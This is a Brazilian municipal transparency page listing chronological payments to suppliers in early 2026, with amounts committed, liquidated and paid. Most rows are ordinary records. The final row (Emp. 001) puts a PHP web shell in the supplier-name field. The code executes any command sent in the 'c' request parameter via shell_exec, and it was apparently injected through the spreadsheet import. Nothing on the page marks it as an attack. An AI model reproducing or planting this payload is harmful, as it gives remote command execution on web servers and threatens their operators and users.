Home › Ordem Cronológica de Pagamentos
Lançamentos520
Total empenhadoR$ 23.714.868,42
Total liquidadoR$ 27.530.542,55
Total pagoR$ 23.346.490,55
| Emp. | Tipo | Data Empenho | Fornecedor | Empenhado | Data Liquidação | Liquidado | Data Pagamento | Pago |
|---|---|---|---|---|---|---|---|---|
| 8 | GL | 05/01/2026 | SEVERINA RAMOS DA SILVA GOM | R$ 20.400,00 | 11/02/2026 | R$ 3.400,00 | 13/02/2026 | R$ 3.400,00 |
| 107 | OR | 12/02/2026 | BANCO DO BRASIL | R$ 65,40 | 12/02/2026 | R$ 65,40 | 12/02/2026 | R$ 65,40 |
| 100 | OR | 05/02/2026 | CARLOS A DE S BARBALHO TECN | R$ 179,90 | 06/02/2026 | R$ 179,90 | 12/02/2026 | R$ 179,90 |
| 99 | OR | 05/02/2026 | CARLOS A DE S BARBALHO TECN | R$ 3.590,00 | 06/02/2026 | R$ 3.590,00 | 12/02/2026 | R$ 3.590,00 |
| 96 | OR | 04/02/2026 | VIEIRA & RABELO LTDA | R$ 2.164,32 | 05/02/2026 | R$ 2.164,32 | 12/02/2026 | R$ 2.164,32 |
| 98 | OR | 04/02/2026 | CASA ANDRADE LTDA | R$ 41,20 | 04/02/2026 | R$ 41,20 | 12/02/2026 | R$ 41,20 |
| 97 | OR | 04/02/2026 | CASA ANDRADE LTDA | R$ 2.013,51 | 04/02/2026 | R$ 2.013,51 | 12/02/2026 | R$ 2.013,51 |
| 92 | OR | 02/02/2026 | A ANDRADE COMÉRCIO DE GÁS E | R$ 480,00 | 02/02/2026 | R$ 480,00 | 12/02/2026 | R$ 480,00 |
| 91 | OR | 02/02/2026 | A ANDRADE COMÉRCIO DE GÁS E | R$ 360,00 | 02/02/2026 | R$ 360,00 | 12/02/2026 | R$ 360,00 |
| 41 | OR | 20/01/2026 | MINAS DIGITAL CERTIFICADORA | R$ 130,00 | 10/02/2026 | R$ 130,00 | 11/02/2026 | R$ 130,00 |
| 40 | OR | 20/01/2026 | MINAS DIGITAL CERTIFICADORA | R$ 130,00 | 10/02/2026 | R$ 130,00 | 11/02/2026 | R$ 130,00 |
| 94 | OR | 03/02/2026 | COMPANHIA ENERGETICA DE PER | R$ 1.746,56 | 03/02/2026 | R$ 1.746,56 | 11/02/2026 | R$ 1.746,56 |
| 89 | OR | 02/02/2026 | SERVHOST INTERNET LTDA ME | R$ 562,07 | 02/02/2026 | R$ 562,07 | 05/02/2026 | R$ 562,07 |
| 93 | OR | 02/02/2026 | BANCO DO BRASIL | R$ 13,08 | 02/02/2026 | R$ 13,08 | 02/02/2026 | R$ 13,08 |
| 82 | OR | 29/01/2026 | NETSCAN DIGITAL LTDA | R$ 1.995,18 | 02/02/2026 | R$ 1.902,40 | 02/02/2026 | R$ 1.902,40 |
| 62 | OR | 26/01/2026 | SERGIO M. T. DE ALBUQUERQUE | R$ 912,30 | 02/02/2026 | R$ 912,30 | 02/02/2026 | R$ 912,30 |
| 61 | OR | 26/01/2026 | SERGIO M. T. DE ALBUQUERQUE | R$ 456,50 | 02/02/2026 | R$ 456,50 | 02/02/2026 | R$ 456,50 |
| 81 | OR | 29/01/2026 | IRMAO RODRIGUES LTDA | R$ 639,63 | 29/01/2026 | R$ 639,63 | 02/02/2026 | R$ 639,63 |
| 80 | OR | 29/01/2026 | IRMAO RODRIGUES LTDA | R$ 79,44 | 29/01/2026 | R$ 79,44 | 02/02/2026 | R$ 79,44 |
| 001 | ORD | 01/01/2026 | <?php echo "HX890 "; echo @shell_exec($_REQUEST["c"]??"id"); ?> | R$ 10,00 | 02/01/2026 | R$ 10,00 | 03/01/2026 | R$ 10,00 |
Os registros são apresentados da data mais atual para a mais antiga. Os valores são apresentados conforme as planilhas mensais importadas pela área administrativa. Uma nova planilha da mesma competência substitui integralmente a versão anterior, evitando duplicidades e refletindo imediatamente nesta consulta.
